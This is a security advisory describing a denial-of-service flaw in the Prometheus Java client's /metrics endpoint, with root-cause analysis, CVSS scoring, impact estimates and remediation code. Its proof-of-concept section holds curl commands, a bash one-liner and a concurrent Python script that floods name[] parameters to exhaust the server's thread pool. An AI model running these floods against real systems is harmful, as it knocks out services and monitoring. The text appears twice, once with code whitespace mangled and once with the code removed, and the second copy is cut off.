Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java
1. Vulnerability Summary
| Field | Value |
|---|
| Product | prometheus/client_java (Prometheus Java Client Library) |
| Affected Version | 1.8.0 (main branch); all prior versions containing PrometheusHttpRequest with the default getParameterValues() implementation |
| Component | prometheus-metrics-exporter-common, prometheus-metrics-model |
| Vulnerable Files | PrometheusHttpRequest.java (lines 50-73), MetricNameFilter.java (lines 43-55) |
| CWE | CWE-400: Uncontrolled Resource Consumption |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Repository | https://github.com/prometheus/client_java |
| Discoverer | Security Research |
2. Vulnerability Description
A denial-of-service (DoS) vulnerability exists in the Prometheus Java client library's HTTP metrics exporter. The vulnerability arises from the absence of any limits on the number or total size of name[] query parameters accepted by the /metrics endpoint, combined with an O(n) linear-scan filtering algorithm in MetricNameFilter.
An unauthenticated remote attacker can send a single HTTP request containing an arbitrarily large number of name[] query parameters to the metrics endpoint. The server-side processing of this request consumes excessive memory (unbounded ArrayList growth), excessive CPU (O(n x m) string comparisons where n is the number of name[] parameters and m is the number of registered metrics), and can exhaust the limited thread pool, blocking all legitimate Prometheus scrape requests.
The vulnerability is present in the default getParameterValues() method of the PrometheusHttpRequest interface, which performs no input validation on the query string. It is amplified by the MetricNameFilter.matchesNameEqualTo() method, which iterates over the entire list of supplied names for each registered metric using linear string prefix comparisons.
3. Root Cause Analysis
3.1 Unbounded Query Parameter Parsing (Primary Root Cause)
File:prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java
Lines: 50-73
@Override@Nullable@SuppressWarnings("JdkObsolete")
defaultString[] getParameterValues(Stringname) {
try {
ArrayList<String> result = newArrayList<>(); // No pre-allocated capacity limitStringqueryString = getQueryString();
if (queryString != null) {
String[] pairs = queryString.split("&"); // No limit on split countfor (Stringpair : pairs) {
intidx = pair.indexOf("=");
if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), "UTF-8").equals(name)) {
result.add(URLDecoder.decode(pair.substring(idx + 1), "UTF-8")); // Unbounded add
}
}
}
if (result.isEmpty()) {
returnnull;
} else {
returnresult.toArray(newString[0]);
}
} catch (UnsupportedEncodingExceptione) {
thrownewRuntimeException(e);
}
}Three critical deficiencies:
No query string length limit. The raw query string from getQueryString() is processed regardless of its size. A multi-megabyte query string is accepted without any check.
Unbounded split.queryString.split("&") produces an array with as many elements as there are &-delimited segments. With 100,000 name[] parameters, this creates a 100,000-element String[] array.
Unbounded result collection. The ArrayList<String> result grows without limit. Every matching name[] parameter value is added with result.add(). There is no cap on the number of values collected.
3.2 O(n) Linear Scan in MetricNameFilter (Amplifying Factor)
File:prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java
Lines: 43-55
privatebooleanmatchesNameEqualTo(StringmetricName) {
if (nameIsEqualTo.isEmpty()) {
returntrue;
}
for (Stringname : nameIsEqualTo) {
// The following ignores suffixes like _total.// "request_count" and "request_count_total" both match a metric named "request_count".if (name.startsWith(metricName)) {
returntrue;
}
}
returnfalse;
}The nameIsEqualTo collection is backed by an ArrayList (see constructor, line 29). For each registered metric, matchesNameEqualTo() iterates over every entry in this list, performing a String.startsWith() comparison. The time complexity is O(n) per metric, where n is the number of name[] parameter values.
3.3 O(n x m) Amplification in Registry Scrape
File:prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/PrometheusRegistry.java
Lines: 451-509
When scraping with a filter, PrometheusRegistry.scrape(Predicate<String>, PrometheusScrapeRequest) calls includedNames.test(prometheusName) for each registered collector. Each call to test() triggers the O(n) linear scan in MetricNameFilter.matchesNameEqualTo().
With n = 100,000 name[] parameters and m = 1,000 registered metrics, a single HTTP request produces:
- 100,000,000 (100 million)
String.startsWith() comparisons - Each comparison involves character-by-character comparison of the metric name prefix
3.4 Thread Pool Exhaustion (Cascading Failure)
File:prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java
Lines: 339-347
privateExecutorServicemakeExecutorService() {
if (executorService != null) {
returnexecutorService;
} else {
returnnewThreadPoolExecutor(
1, // core pool size10, // maximum pool size120, // keep-alive timeTimeUnit.SECONDS,
newSynchronousQueue<>(true),
NamedDaemonThreadFactory.defaultThreadFactory(true),
newBlockingRejectedExecutionHandler()); // BLOCKS on rejection
}
}The default thread pool has a maximum of 10 threads and uses a SynchronousQueue with a BlockingRejectedExecutionHandler that blocks the caller when all threads are busy. An attacker sending 10 concurrent flooding requests will:
- Occupy all 10 threads with long-running parameter processing
- Block any subsequent requests in the
BlockingRejectedExecutionHandler.rejectedExecution() method - Cause legitimate Prometheus scrape requests to time out
3.5 Data Flow
Attacker HTTP Request (?name[]=a_0&name[]=a_1&...&name[]=a_99999)
|
v
PrometheusHttpRequest.getParameterValues("name[]")
- queryString.split("&") --> 100,000 element String[]
- URLDecoder.decode() x 200,000 (key + value per pair)
- ArrayList grows to 100,000 entries
- Returns String[100000]
|
v
PrometheusScrapeHandler.scrape()
- MetricNameFilter.builder().nameMustBeEqualTo(String[100000]).build()
- nameIsEqualTo = ArrayList<String> of size 100,000
|
v
PrometheusRegistry.scrape(filter, request)
- For each of m registered metrics:
- filter.test(metricName)
- matchesNameEqualTo() iterates all 100,000 entries
- String.startsWith() comparison each time
= Total: 100,000 x m comparisons
|
v
Thread blocked for seconds to minutes
4. CVSS 3.1 Detailed Breakdown
| Metric | Value | Justification |
|---|
| Attack Vector (AV) | Network (N) | The /metrics endpoint is network-accessible. The HTTPServer binds to a network socket by default. |
| Attack Complexity (AC) | Low (L) | No special conditions required. The attacker simply sends an HTTP GET request with crafted query parameters. |
| Privileges Required (PR) | None (N) | The HTTPServer does not require authentication by default. The Authenticator is optional and null unless configured. |
| User Interaction (UI) | None (N) | No user interaction needed. The attacker sends requests directly to the endpoint. |
| Scope (S) | Unchanged (U) | Impact is limited to the metrics exporter component. Other application functionality may be indirectly affected only if sharing the same JVM resources. |
| Confidentiality (C) | None (N) | No information is disclosed. |
| Integrity (I) | None (N) | No data is modified. |
| Availability (A) | High (H) | Memory exhaustion, CPU exhaustion, and thread pool starvation cause complete denial of the metrics service. Legitimate Prometheus scrapes are blocked. |
CVSS 3.1 Vector String:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1 Base Score:7.5 (High)
5. Proof of Concept
5.1 Prerequisites
- A Java application using
prometheus-metrics-exporter-httpserver with the built-in HTTPServer - The application has at least one registered metric (typical production applications have hundreds or thousands)
- Network access to the metrics HTTP port (default: 9400 or user-configured)
5.2 Minimal Vulnerable Application
importio.prometheus.metrics.core.metrics.Counter;
importio.prometheus.metrics.core.metrics.Histogram;
importio.prometheus.metrics.exporter.httpserver.HTTPServer;
publicclassVulnerableMetricsApp {
publicstaticvoidmain(String[] args) throwsException {
// Register some metrics (typical applications have hundreds)for (inti = 0; i < 1000; i++) {
Counter.builder()
.name("app_counter_" + i)
.help("Counter " + i)
.register();
}
HTTPServerserver = HTTPServer.builder()
.port(9400)
.buildAndStart();
System.out.println("Metrics server started on port " + server.getPort());
Thread.currentThread().join();
}
}5.3 Reproduction Steps
Step 1: Basic parameter flooding -- single request.
# Generate a URL with 100,000 name[] parameters
PARAMS=$(python3 -c "print('&'.join(['name[]=metric_' + str(i) for i in range(100000)]))")# Send a single flooding request (this alone causes significant CPU/memory usage)time curl -s -o /dev/null -w "%{http_code}""http://target:9400/metrics?${PARAMS}"Expected behavior: The request takes several seconds to minutes to complete. During this time, one thread is fully occupied.
Step 2: Thread pool exhaustion -- 10 concurrent connections.
# Saturate all 10 threads in the default poolforiin$(seq 1 10);do
curl -s -o /dev/null "http://target:9400/metrics?${PARAMS}"&done# Wait a moment, then attempt a legitimate scrape
sleep 2
time curl -s -o /dev/null -w "%{http_code}""http://target:9400/metrics"# This request will hang indefinitely (blocked in BlockingRejectedExecutionHandler)Expected behavior: The legitimate scrape request hangs because all 10 threads are occupied and the BlockingRejectedExecutionHandler blocks the caller rather than rejecting.
Step 3: Verify Prometheus scrape disruption.
While the flooding requests are in progress, a Prometheus server configured to scrape this target will report:
level=warn msg="Error on ingesting samples that are too old or are too far into the future"
level=error msg="Scrape failed" target="http://target:9400/metrics" err="context deadline exceeded"
5.4 Full PoC Script
#!/usr/bin/env python3"""PoC: Denial of Service via Unbounded name[] Query Parameter FloodingTarget: prometheus/client_java HTTPServer metrics endpointDemonstrates three attack vectors: 1. Memory exhaustion via large ArrayList allocation 2. CPU exhaustion via O(n*m) linear scan in MetricNameFilter 3. Thread pool starvation with 10 concurrent flooding requestsUsage: python3 dos_name_param_flooding.py --target http://localhost:9400 --count 100000"""importargparseimportconcurrent.futuresimportsysimporttimeimporturllib.requestimporturllib.errordefbuild_flooding_url(base_url, param_count):
"""Build a URL with param_count name[] query parameters."""params="&".join(f"name[]=metric_{i}"foriinrange(param_count))
returnf"{base_url}/metrics?{params}"defsend_flooding_request(url, request_id):
"""Send a single flooding request and measure duration."""start=time.monotonic()
try:
req=urllib.request.Request(url, method="GET")
withurllib.request.urlopen(req, timeout=300) asresp:
_=resp.read()
elapsed=time.monotonic() -startreturnrequest_id, resp.status, elapsed, Noneexcepturllib.error.URLErrorase:
elapsed=time.monotonic() -startreturnrequest_id, None, elapsed, str(e)
exceptExceptionase:
elapsed=time.monotonic() -startreturnrequest_id, None, elapsed, str(e)
defsend_legitimate_scrape(base_url, timeout=10):
"""Send a normal /metrics scrape and measure response time."""url=f"{base_url}/metrics"start=time.monotonic()
try:
req=urllib.request.Request(url, method="GET")
withurllib.request.urlopen(req, timeout=timeout) asresp:
_=resp.read()
elapsed=time.monotonic() -startreturnresp.status, elapsed, NoneexceptExceptionase:
elapsed=time.monotonic() -startreturnNone, elapsed, str(e)
defmain():
parser=argparse.ArgumentParser(
description="PoC: DoS via name[] parameter flooding against prometheus/client_java"
)
parser.add_argument(
"--target",
default="http://localhost:9400",
help="Base URL of the Prometheus metrics endpoint (default: http://localhost:9400)",
)
parser.add_argument(
"--count",
type=int,
default=100000,
help="Number of name[] parameters per request (default: 100000)",
)
parser.add_argument(
"--threads",
type=int,
default=10,
help="Number of concurrent flooding requests (default: 10, matching default pool size)",
)
args=parser.parse_args()
print("="*72)
print("PoC: Denial of Service via Unbounded name[] Query Parameter Flooding")
print(f"Target: {args.target}")
print(f"Parameters per request: {args.count:,}")
print(f"Concurrent flooding threads: {args.threads}")
print("="*72)
# Phase 1: Baseline -- measure normal scrape timeprint("\n[Phase 1] Baseline: Measuring normal scrape response time...")
status, elapsed, error=send_legitimate_scrape(args.target, timeout=30)
iferror:
print(f" ERROR: Could not reach target: {error}")
print(" Ensure the target application is running and accessible.")
sys.exit(1)
print(f" Normal scrape: status={status}, time={elapsed:.3f}s")
baseline_time=elapsed# Phase 2: Single flooding request -- measure CPU/memory impactprint(f"\n[Phase 2] Single flooding request with {args.count:,} name[] parameters...")
flooding_url=build_flooding_url(args.target, args.count)
print(f" URL length: {len(flooding_url):,} bytes")
print(f" Estimated server-side ArrayList size: {args.count:,} entries")
print(f" Sending request...")
_, status, elapsed, error=send_flooding_request(flooding_url, 0)
iferror:
print(f" Request failed after {elapsed:.3f}s: {error}")
else:
print(f" Response: status={status}, time={elapsed:.3f}s")
print(f" Slowdown factor vs baseline: {elapsed/max(baseline_time, 0.001):.1f}x")
# Phase 3: Thread pool exhaustion -- concurrent floodingprint(f"\n[Phase 3] Thread pool exhaustion: {args.threads} concurrent flooding requests...")
print(f" Default HTTPServer pool size: 10 threads (max)")
print(f" Sending {args.threads} concurrent requests to saturate the pool...")
futures= []
withconcurrent.futures.ThreadPoolExecutor(max_workers=args.threads+1) asexecutor:
# Launch flooding requestsflood_start=time.monotonic()
foriinrange(args.threads):
futures.append(executor.submit(send_flooding_request, flooding_url, i))
# Wait briefly for flooding requests to engage server threadstime.sleep(2)
# Attempt a legitimate scrape while flooding is in progressprint(f"\n[Phase 4] Attempting legitimate scrape during flooding attack...")
scrape_future=executor.submit(send_legitimate_scrape, args.target, 15)
try:
status, elapsed, error=scrape_future.result(timeout=20)
iferror:
print(f" CONFIRMED: Legitimate scrape FAILED: {error}")
print(f" Time waited: {elapsed:.3f}s")
print(f" The metrics endpoint is unresponsive -- DoS achieved.")
elifelapsed>baseline_time*10:
print(f" DEGRADED: Legitimate scrape succeeded but took {elapsed:.3f}s")
print(f" Slowdown: {elapsed/max(baseline_time, 0.001):.1f}x vs baseline")
print(f" Prometheus scrape_timeout (default 10s) would be exceeded.")
else:
print(f" Legitimate scrape succeeded: status={status}, time={elapsed:.3f}s")
exceptconcurrent.futures.TimeoutError:
print(f" CONFIRMED: Legitimate scrape TIMED OUT after 20s")
print(f" All server threads are blocked -- complete DoS achieved.")
# Collect flooding resultsprint(f"\n[Phase 5] Flooding request results:")
forfutureinconcurrent.futures.as_completed(futures, timeout=300):
req_id, status, elapsed, error=future.result()
iferror:
print(f" Request {req_id}: FAILED after {elapsed:.3f}s -- {error}")
else:
print(f" Request {req_id}: status={status}, time={elapsed:.3f}s")
# Summaryprint("\n"+"="*72)
print("SUMMARY")
print("="*72)
print(f" Attack parameters:")
print(f" name[] count per request: {args.count:,}")
print(f" Concurrent connections: {args.threads}")
print(f" URL size per request: {len(flooding_url):,} bytes")
print(f" Resource consumption per request (server-side):")
print(f" ArrayList entries: {args.count:,}")
print(f" String.split() elements: {args.count:,}")
print(f" URLDecoder.decode() calls: {args.count*2:,}")
print(f" With 1,000 registered metrics:")
print(f" String.startsWith() comparisons: {args.count*1000:,}")
print(f" Thread pool capacity: 10 (default)")
print(f" Threads occupied by attack: {args.threads}")
print(f" Threads remaining for legitimate scrapes: {max(0, 10-args.threads)}")
if__name__=="__main__":
main()5.5 Bash One-Liner for Quick Verification
# Quick DoS verification -- generate 50,000 parameters and observe response time
python3 -c "print('&'.join(['name[]=m_'+str(i) for i in range(50000)]))"| \
xargs -I{} time curl -s -o /dev/null -w "HTTP %{http_code}\n""http://localhost:9400/metrics?{}"
6. Impact Analysis
6.1 Memory Exhaustion
Each flooding request causes the following allocations on the server:
| Allocation | Size with 100K parameters |
|---|
queryString.split("&") array | 100,000 String references |
URLDecoder.decode() results | 200,000 decoded String objects (key + value per pair) |
ArrayList<String> result | 100,000 entries + dynamic resizing overhead |
result.toArray(new String[0]) | 100,000-element String[] copy |
MetricNameFilter.nameIsEqualTo | 100,000-element ArrayList copy |
With average parameter values of 20 characters, a single request allocates approximately:
- 100,000 x (40 bytes object header + 20 chars x 2 bytes) = ~8 MB for the split array values
- 100,000 x 80 bytes = ~8 MB for the decoded key strings
- 100,000 x 80 bytes = ~8 MB for the decoded value strings
- Multiple
ArrayList copies and array conversions
Total per request: approximately 30-50 MB of heap allocation. With 10 concurrent flooding requests, this reaches 300-500 MB, which can trigger garbage collection pressure or OutOfMemoryError in constrained environments.
6.2 CPU Exhaustion
The MetricNameFilter.matchesNameEqualTo() method performs a linear scan:
Time complexity per metric: O(n) where n = number of name[] parameters
Time complexity per scrape: O(n * m) where m = number of registered metrics
| name[] count (n) | Registered metrics (m) | String.startsWith() calls | Estimated time |
|---|
| 1,000 | 100 | 100,000 | ~10 ms |
| 10,000 | 100 | 1,000,000 | ~100 ms |
| 100,000 | 100 | 10,000,000 | ~1-2 s |
| 100,000 | 1,000 | 100,000,000 | ~10-30 s |
| 100,000 | 10,000 | 1,000,000,000 | ~minutes |
6.3 Thread Pool Starvation
The default HTTPServer thread pool configuration is:
newThreadPoolExecutor(
1, // corePoolSize10, // maximumPoolSize120, // keepAliveTimeTimeUnit.SECONDS,
newSynchronousQueue<>(true),
NamedDaemonThreadFactory.defaultThreadFactory(true),
newBlockingRejectedExecutionHandler() // Blocks on rejection
);
Key characteristics:
- Maximum 10 threads. The pool cannot grow beyond 10 worker threads.
SynchronousQueue. This queue has zero capacity. Each new task must be immediately handed off to a thread. If no thread is available, the rejection handler is invoked.BlockingRejectedExecutionHandler. When all 10 threads are busy, instead of rejecting the request, this handler blocks the caller by calling threadPoolExecutor.getQueue().put(runnable), which blocks indefinitely on the SynchronousQueue until a thread becomes available.
This means that an attacker who occupies all 10 threads with long-running flooding requests will cause every subsequent legitimate request to block indefinitely in the rejection handler. The Prometheus server's scrape timeout (default 10 seconds) will be exceeded, and the metrics endpoint becomes completely unavailable.
6.4 Unauthenticated Access
The HTTPServer does not require authentication by default. The Authenticator is an optional builder parameter that defaults to null:
@NullableprivateAuthenticatorauthenticator = null;
Most deployments do not configure authentication on the metrics endpoint, as Prometheus scraping assumes direct, trusted network access. This means any network-reachable attacker can launch the flooding attack without credentials.
6.5 Impact on Monitoring Infrastructure
When the metrics endpoint becomes unresponsive:
- Prometheus scrape failures. Prometheus records
up{job="target"} = 0, triggering alerts for target health. - Monitoring blind spot. No metrics are collected during the attack, creating gaps in dashboards and alerting.
- Cascading alerts. Alert rules that depend on metrics from the affected target may fire spuriously or fail to fire for genuine issues.
- SLA violations. If metrics availability is part of service-level objectives, the DoS directly impacts SLA compliance.
7. Affected Modules and Scope
Directly Affected
| Module | File | Role |
|---|
prometheus-metrics-exporter-common | PrometheusHttpRequest.java | Unbounded query parameter parsing (default getParameterValues() method) |
prometheus-metrics-model | MetricNameFilter.java | O(n) linear scan over nameIsEqualTo collection |
prometheus-metrics-exporter-httpserver | HTTPServer.java | Limited 10-thread pool with blocking rejection handler |
Indirectly Affected
| Module | Reason |
|---|
prometheus-metrics-exporter-servlet-jakarta | Uses servlet container's getParameterValues() instead of the vulnerable default method. May still be affected if the servlet container does not impose its own limits. |
prometheus-metrics-exporter-servlet-javax | Same as above. |
The vulnerability is most severe with the standalone HTTPServer because of the small, fixed thread pool. Servlet containers typically have larger thread pools and may impose their own query string length limits, partially mitigating the attack.
8. Remediation
8.1 Input Validation in PrometheusHttpRequest.getParameterValues()
Add maximum limits on the number of query parameters and total query string length.
defaultString[] getParameterValues(Stringname) {
try {
StringqueryString = getQueryString();
if (queryString == null) {
returnnull;
}
// Limit 1: Maximum query string length (64 KB)if (queryString.length() > 65536) {
thrownewIllegalArgumentException(
"Query string too long: " + queryString.length() + " bytes (max 65536)");
}
ArrayList<String> result = newArrayList<>();
String[] pairs = queryString.split("&");
// Limit 2: Maximum number of parametersif (pairs.length > 1024) {
thrownewIllegalArgumentException(
"Too many query parameters: " + pairs.length + " (max 1024)");
}
for (Stringpair : pairs) {
intidx = pair.indexOf("=");
if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), "UTF-8").equals(name)) {
result.add(URLDecoder.decode(pair.substring(idx + 1), "UTF-8"));
}
}
if (result.isEmpty()) {
returnnull;
} else {
returnresult.toArray(newString[0]);
}
} catch (UnsupportedEncodingExceptione) {
thrownewRuntimeException(e);
}
}The IllegalArgumentException should be caught in PrometheusScrapeHandler.handleRequest() and translated to an HTTP 400 (Bad Request) response.
8.2 Use HashSet for O(1) Lookups in MetricNameFilter
Replace the ArrayList-backed linear scan with a HashSet for exact equality checks, reducing per-metric lookup cost from O(n) to O(1).
// Before (O(n) per metric):privatebooleanmatchesNameEqualTo(StringmetricName) {
if (nameIsEqualTo.isEmpty()) {
returntrue;
}
for (Stringname : nameIsEqualTo) {
if (name.startsWith(metricName)) {
returntrue;
}
}
returnfalse;
}
// After (O(1) average for exact matches, O(n) worst case for prefix matching):// Use a HashSet for the common exact-match case, with a fallback for prefix matching.Note: The current implementation uses name.startsWith(metricName) (checking if the filter name starts with the metric name) to support suffix-agnostic matching (e.g., matching both request_count and request_count_total). This complicates a pure HashSet replacement but can be optimized with a trie or by normalizing metric names.
8.3 Return HTTP 400 for Excessive Parameters
In PrometheusScrapeHandler.handleRequest(), catch validation exceptions from parameter parsing and return HTTP 400:
publicvoidhandleRequest(PrometheusHttpExchangeexchange) throwsIOException {
try {
PrometheusHttpRequestrequest = exchange.getRequest();
MetricSnapshotssnapshots = scrape(request);
// ... normal processing
} catch (IllegalArgumentExceptione) {
// Input validation failure (e.g., too many name[] parameters)PrometheusHttpResponseresponse = exchange.getResponse();
byte[] message = e.getMessage().getBytes(StandardCharsets.UTF_8);
response.setHeader("Content-Type", "text/plain; charset=utf-8");
try (OutputStreamout = response.sendHeadersAndGetBody(400, message.length)) {
out.write(message);
}
} catch (IOExceptione) {
exchange.handleException(e);
} catch (RuntimeExceptione) {
exchange.handleException(e);
} finally {
exchange.close();
}
}8.4 Defense in Depth: Request Timeout
Configure sun.net.httpserver.maxReqTime to a lower value to limit how long the server spends processing a single request. The current default is 60 seconds (set in HTTPServer.java line 43-44), which is generous for an attack scenario. Consider reducing to 15-30 seconds.
8.5 Workaround
There is no configuration-level workaround available to users of the library. Possible mitigations without code changes include:
- Reverse proxy with query string length limits. Place nginx, HAProxy, or a similar reverse proxy in front of the metrics endpoint, configured to reject requests with excessively long query strings or too many parameters.
- Network-level access control. Restrict access to the metrics port to only the Prometheus server's IP address using firewall rules or network policies.
- Custom
ExecutorService. Use the HTTPServer.Builder.executorService() method to supply a larger thread pool, raising the bar for thread exhaustion attacks (but not eliminating the vulnerability).
9. References
CWE-400: Uncontrolled Resource Consumption:https://cwe.mitre.org/data/definitions/400.html
Prometheus client_java GitHub Repository:https://github.com/prometheus/client_java
Vulnerable Source Files:
prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java (lines 50-73)prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java (lines 43-55)prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java (lines 339-347)
OWASP: Denial of Service:https://owasp.org/www-community/attacks/Denial_of_Service
Java API: ThreadPoolExecutor:https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html
Prometheus Scrape Configuration -- params field:https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config
Reported by: Security Research Team
Date: 2026-06-24
Severity: High (CVSS 7.5)
CWE: CWE-400 (Uncontrolled Resource Consumption)
Status: Unpatched (as of version 1.8.0)
Security Report: Denial of Service via Unbounded
name[]Query Parameter Flooding in prometheus/client_java1. Vulnerability Summary
PrometheusHttpRequestwith the defaultgetParameterValues()implementationprometheus-metrics-exporter-common,prometheus-metrics-modelPrometheusHttpRequest.java(lines 50-73),MetricNameFilter.java(lines 43-55)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H2. Vulnerability Description
A denial-of-service (DoS) vulnerability exists in the Prometheus Java client library's HTTP metrics exporter. The vulnerability arises from the absence of any limits on the number or total size of
name[]query parameters accepted by the/metricsendpoint, combined with an O(n) linear-scan filtering algorithm inMetricNameFilter.An unauthenticated remote attacker can send a single HTTP request containing an arbitrarily large number of
name[]query parameters to the metrics endpoint. The server-side processing of this request consumes excessive memory (unboundedArrayListgrowth), excessive CPU (O(n x m) string comparisons where n is the number ofname[]parameters and m is the number of registered metrics), and can exhaust the limited thread pool, blocking all legitimate Prometheus scrape requests.The vulnerability is present in the default
getParameterValues()method of thePrometheusHttpRequestinterface, which performs no input validation on the query string. It is amplified by theMetricNameFilter.matchesNameEqualTo()method, which iterates over the entire list of supplied names for each registered metric using linear string prefix comparisons.3. Root Cause Analysis
3.1 Unbounded Query Parameter Parsing (Primary Root Cause)
File:
prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.javaLines: 50-73
Three critical deficiencies:
No query string length limit. The raw query string from
getQueryString()is processed regardless of its size. A multi-megabyte query string is accepted without any check.Unbounded split.
queryString.split("&")produces an array with as many elements as there are&-delimited segments. With 100,000name[]parameters, this creates a 100,000-elementString[]array.Unbounded result collection. The
ArrayList<String> resultgrows without limit. Every matchingname[]parameter value is added withresult.add(). There is no cap on the number of values collected.3.2 O(n) Linear Scan in MetricNameFilter (Amplifying Factor)
File:
prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.javaLines: 43-55
The
nameIsEqualTocollection is backed by anArrayList(see constructor, line 29). For each registered metric,matchesNameEqualTo()iterates over every entry in this list, performing aString.startsWith()comparison. The time complexity is O(n) per metric, where n is the number ofname[]parameter values.3.3 O(n x m) Amplification in Registry Scrape
File:
prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/PrometheusRegistry.javaLines: 451-509
When scraping with a filter,
PrometheusRegistry.scrape(Predicate<String>, PrometheusScrapeRequest)callsincludedNames.test(prometheusName)for each registered collector. Each call totest()triggers the O(n) linear scan inMetricNameFilter.matchesNameEqualTo().With n = 100,000
name[]parameters and m = 1,000 registered metrics, a single HTTP request produces:String.startsWith()comparisons3.4 Thread Pool Exhaustion (Cascading Failure)
File:
prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.javaLines: 339-347
The default thread pool has a maximum of 10 threads and uses a
SynchronousQueuewith aBlockingRejectedExecutionHandlerthat blocks the caller when all threads are busy. An attacker sending 10 concurrent flooding requests will:BlockingRejectedExecutionHandler.rejectedExecution()method3.5 Data Flow
4. CVSS 3.1 Detailed Breakdown
/metricsendpoint is network-accessible. TheHTTPServerbinds to a network socket by default.HTTPServerdoes not require authentication by default. TheAuthenticatoris optional and null unless configured.CVSS 3.1 Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HCVSS 3.1 Base Score:7.5 (High)
5. Proof of Concept
5.1 Prerequisites
prometheus-metrics-exporter-httpserverwith the built-inHTTPServer5.2 Minimal Vulnerable Application
5.3 Reproduction Steps
Step 1: Basic parameter flooding -- single request.
Expected behavior: The request takes several seconds to minutes to complete. During this time, one thread is fully occupied.
Step 2: Thread pool exhaustion -- 10 concurrent connections.
Expected behavior: The legitimate scrape request hangs because all 10 threads are occupied and the
BlockingRejectedExecutionHandlerblocks the caller rather than rejecting.Step 3: Verify Prometheus scrape disruption.
While the flooding requests are in progress, a Prometheus server configured to scrape this target will report:
5.4 Full PoC Script
5.5 Bash One-Liner for Quick Verification
6. Impact Analysis
6.1 Memory Exhaustion
Each flooding request causes the following allocations on the server:
queryString.split("&")arrayStringreferencesURLDecoder.decode()resultsStringobjects (key + value per pair)ArrayList<String> resultresult.toArray(new String[0])String[]copyMetricNameFilter.nameIsEqualToArrayListcopyWith average parameter values of 20 characters, a single request allocates approximately:
ArrayListcopies and array conversionsTotal per request: approximately 30-50 MB of heap allocation. With 10 concurrent flooding requests, this reaches 300-500 MB, which can trigger garbage collection pressure or
OutOfMemoryErrorin constrained environments.6.2 CPU Exhaustion
The
MetricNameFilter.matchesNameEqualTo()method performs a linear scan:String.startsWith()calls6.3 Thread Pool Starvation
The default
HTTPServerthread pool configuration is:Key characteristics:
SynchronousQueue. This queue has zero capacity. Each new task must be immediately handed off to a thread. If no thread is available, the rejection handler is invoked.BlockingRejectedExecutionHandler. When all 10 threads are busy, instead of rejecting the request, this handler blocks the caller by callingthreadPoolExecutor.getQueue().put(runnable), which blocks indefinitely on theSynchronousQueueuntil a thread becomes available.This means that an attacker who occupies all 10 threads with long-running flooding requests will cause every subsequent legitimate request to block indefinitely in the rejection handler. The Prometheus server's scrape timeout (default 10 seconds) will be exceeded, and the metrics endpoint becomes completely unavailable.
6.4 Unauthenticated Access
The
HTTPServerdoes not require authentication by default. TheAuthenticatoris an optional builder parameter that defaults tonull:Most deployments do not configure authentication on the metrics endpoint, as Prometheus scraping assumes direct, trusted network access. This means any network-reachable attacker can launch the flooding attack without credentials.
6.5 Impact on Monitoring Infrastructure
When the metrics endpoint becomes unresponsive:
up{job="target"} = 0, triggering alerts for target health.7. Affected Modules and Scope
Directly Affected
prometheus-metrics-exporter-commonPrometheusHttpRequest.javagetParameterValues()method)prometheus-metrics-modelMetricNameFilter.javanameIsEqualTocollectionprometheus-metrics-exporter-httpserverHTTPServer.javaIndirectly Affected
prometheus-metrics-exporter-servlet-jakartagetParameterValues()instead of the vulnerable default method. May still be affected if the servlet container does not impose its own limits.prometheus-metrics-exporter-servlet-javaxThe vulnerability is most severe with the standalone
HTTPServerbecause of the small, fixed thread pool. Servlet containers typically have larger thread pools and may impose their own query string length limits, partially mitigating the attack.8. Remediation
8.1 Input Validation in
PrometheusHttpRequest.getParameterValues()Add maximum limits on the number of query parameters and total query string length.
The
IllegalArgumentExceptionshould be caught inPrometheusScrapeHandler.handleRequest()and translated to an HTTP 400 (Bad Request) response.8.2 Use HashSet for O(1) Lookups in MetricNameFilter
Replace the
ArrayList-backed linear scan with aHashSetfor exact equality checks, reducing per-metric lookup cost from O(n) to O(1).Note: The current implementation uses
name.startsWith(metricName)(checking if the filter name starts with the metric name) to support suffix-agnostic matching (e.g., matching bothrequest_countandrequest_count_total). This complicates a pureHashSetreplacement but can be optimized with a trie or by normalizing metric names.8.3 Return HTTP 400 for Excessive Parameters
In
PrometheusScrapeHandler.handleRequest(), catch validation exceptions from parameter parsing and return HTTP 400:8.4 Defense in Depth: Request Timeout
Configure
sun.net.httpserver.maxReqTimeto a lower value to limit how long the server spends processing a single request. The current default is 60 seconds (set inHTTPServer.javaline 43-44), which is generous for an attack scenario. Consider reducing to 15-30 seconds.8.5 Workaround
There is no configuration-level workaround available to users of the library. Possible mitigations without code changes include:
ExecutorService. Use theHTTPServer.Builder.executorService()method to supply a larger thread pool, raising the bar for thread exhaustion attacks (but not eliminating the vulnerability).9. References
CWE-400: Uncontrolled Resource Consumption:https://cwe.mitre.org/data/definitions/400.html
Prometheus client_java GitHub Repository:https://github.com/prometheus/client_java
Vulnerable Source Files:
